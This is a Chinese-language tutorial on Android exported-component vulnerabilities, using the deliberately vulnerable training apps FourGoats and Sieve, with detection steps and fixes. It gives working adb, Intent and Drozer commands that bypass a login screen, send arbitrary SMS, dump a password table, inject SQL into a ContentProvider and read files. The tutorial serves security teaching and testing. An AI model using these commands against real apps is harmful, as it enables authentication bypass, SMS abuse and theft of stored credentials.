0x00 漏洞原理
exported
的组件可以被第三方APP调用,在权限控制不当的情况下,可能导致敏感信息泄露、绕过认证、越权行为执行等风险。
0x01 检测方法
1、手动查看
- 1-反编译apk,查看
AndroidManifest.xml
。 - 2-查看组件是否被导出或默认导出。
- 具有
intent-filter
标签时,默认为exported=true
- 不具有
intent-filter
标签时,默认为exported=false
- 具有
- 导出的组件是否有
Signature
以上级别的权限控制。
2、利用Drozer
dz> run app.package.attacksurface <package-name> //查看暴露组件
dz> run app.activity.info -a <package-name> -i //查看activity信息
dz> run app.service.info -a <package-name> -i //查看service信息
dz> run app.broadcast.info -a <package-name> -i //查看broadcast receiver信息
0x02 漏洞案例
1、【漏洞示例1——Activity暴露导致绕过认证】
第一步,反编译查看Manifest.xml,查找包名、Activity
第二步,确定目标,分析方法
目标:
绕过输入密码界面进入登录后界面
方法:
1.使用adb启动暴露的Activity
2.使用一个恶意apk调用该Activity
3.使用Mercury框架来发动这种攻击
使用adb启动暴露的Activity
连接adb,使用adb启动activity命令。
adb shell am start -n com.isi.testapp/.Welcome
可以看到直接进入了登录后的界面。
使用一个恶意的应用调用其他应用的Activity
另一个调用其他应用的Activity的方法是写一个恶意的应用,让它通过包名称和Activity名称来调用。下图展示了程序部分代码。在我们这个案例中,恶意程序不需要申请额外权限来调用Welcome Activity。
Intent i= new Intent();
i.setComponent(new ComponentName("com.isi.testapp","com.isi.testapp.Welcome"));
startActivity(i);
使用Mercury框架
2、【漏洞示例1——BroadcastReceiver暴露导致发送短信】
第一步,反编译查看Manifest.xml,查找包名、Receiver
利用drozer
run app.package.attacksurface org.owasp.goatdroid.fourgoats
第二步,确认利用目标,寻找利用方法
利用目标:发送任意内容短信
利用方法:drozer
利用过程:先查找SendSMSNowReceiver的代码实现。
在jeb中直接看到的是smali代码,按tab键就能换成Java代码。
package org.owasp.goatdroid.fourgoats.broadcastreceivers;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import org.owasp.goatdroid.fourgoats.misc.Utils;
public class SendSMSNowReceiver extends BroadcastReceiver {
Context context;
@Override // android.content.BroadcastReceiver
public void onReceive(Context arg8, Intent arg9) {
this.context = arg8;
SmsManager sms = SmsManager.getDefault();
Bundle bundle = arg9.getExtras();
sms.sendTextMessage(bundle.getString("phoneNumber"), null, bundle.getString("message"), null, null);
Utils.makeToast(this.context, "Your text message has been sent!", 1);
}
}
根据以上代码可以获取到参数phoneNumber
、message
,于是可以通过Intent
去调用SOCIAL_SMS
(在Manifest中注册的名字,不是类名SendSMSNowReceive
)。
构造发送短信命令:
dz> run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 10010 --extra string message hacked!
攻击效果:
3、【漏洞示例3——Service暴露导致信息泄露】
第一步,反编译查看Manifest.xml,查找包名、Service。
包名:org.owasp.goatdroid.fourgoats
Service:.services.LocationService
第二步,确认利用目标,寻找利用方法
利用目标:获取定位信息
利用方法:drozer
利用过程:启动定位服务的测试代码如下:
dz> run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService
利用结果:
此处应是GPS打开截图,但是我失败了。。。
4、【漏洞示例4——ContentProvider暴露导致信息泄露】
第一步,反编译查看Manifest.xml,查找包名、Provider。
包名:com.mwr.example.sieve
Service:com.mwr.example.sieve.DBContentProvider
利用drozer:
第二步,确认利用目标,寻找利用方法
利用目标:获取敏感信息
利用方法:drozer
利用过程:查找可访问的uri的列表、路径的测试代码如下:
run scanner.provider.finduris -a com.mwr.example.sieve
查询数据库的信息,发现存在数据泄露问题。
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
5、【漏洞示例5——ContentProvider SQL注入问题】
第一步,反编译查看Manifest.xml,查找包名、Provider。
包名:com.mwr.example.sieve
Service:com.mwr.example.sieve.DBContentProvider
第二步,确认利用目标,寻找利用方法
利用目标:获取数据库信息
利用方法:drozer进行手工注入或扫描
利用过程:
测试是否存在SQL注入问题,测试代码如下:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
列出所有表信息。
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
获取具体表信息
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM key;--"
利用扫描功能:
对注入点进行扫描
run scanner.provider.injection -a com.mwr.example.sieve
列出该app的所有表信息
run scanner.provider.sqltables -a com.mwr.example.sieve
6、【漏洞示例6——ContentProvider文件读写问题】
读取文件
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
下载文件
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data
执行失败返回结果。
7、【漏洞示例7——ContentProvider目录遍历问题】
run scanner.provider.traversal -a com.mwr.example.sieve
0x03 修复方案
1、设置android:exported属性为false
2、通过权限控制限制访问
0x04 参考
1、